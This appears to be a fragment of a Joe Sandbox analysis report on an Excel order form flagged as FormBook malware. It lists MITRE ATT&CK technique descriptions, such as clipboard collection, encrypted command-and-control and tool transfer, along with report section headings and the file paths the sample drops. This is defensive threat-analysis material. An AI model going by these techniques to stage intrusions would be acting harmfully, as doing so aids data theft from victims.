Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\71EFD22C.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD6B8317.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BCA69961.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F00B6FEE.wmf

C:\Users\user\AppData\Local\Temp\bmexo.exe

C:\Users\user\AppData\Local\Temp\fmrfya

C:\Users\user\AppData\Local\Temp\nsmD99.tmp

C:\Users\user\AppData\Local\Temp\pm30pgwp2di9

C:\Users\user\AppData\Local\Temp\~DF05A0E9538DA984DE.TMP

Windows Analysis Report
BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre